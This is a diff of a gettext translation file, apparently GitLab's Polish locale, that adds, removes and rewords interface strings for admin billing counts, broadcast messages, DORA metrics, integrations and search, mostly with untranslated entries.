@@ -2038,6 +2047,9 @@ msgstr "Rebase jest już w trakcie wykonywania"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Logowanie do Twojego konta zostało dokonane z następującego adresu IP: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "Tytuł jest wymagany"
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "Błąd usługi AWS: %{error}"
-
msgid "Abort"
msgstr "Przerwij"
@@ -2233,9 +2242,6 @@ msgstr "Tokeny dostępu"
msgid "Access denied for your LDAP account."
msgstr "Odmowa dostępu dla Twojego konta LDAP."
-msgid "Access denied: %{error}"
-msgstr "Odmowa dostępu: %{error}"
-
msgid "Access expires"
msgstr "Dostęp wygasa"
@@ -2395,7 +2401,7 @@ msgstr "Akcje"
msgid "Activate Service Desk"
msgstr "Aktywuj Service Desk"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Dodaj komentarz do tej linii"
@@ -2851,15 +2860,18 @@ msgstr "Aktywni użytkownicy"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr "Zablokowani użytkownicy"
msgid "AdminArea|Bots"
msgstr "Boty"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Komponenty"
@@ -2941,9 +2953,18 @@ msgstr "Zatrzymaj zadania"
msgid "AdminArea|Stopping jobs failed"
msgstr "Zatrzymanie zadań nie powiodło się"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Automatyczna domena DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Wystąpił błąd podczas autoryzacji Twojej roli"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr "Wystąpił błąd podczas ładowania merge requestów."
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr "Wystąpił błąd podczas ładowania potoku."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Wystąpił błąd podczas ładowania zadań potoków."
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr "Dodaj %{tableflip} na końcu komentarza"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplikacja"
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
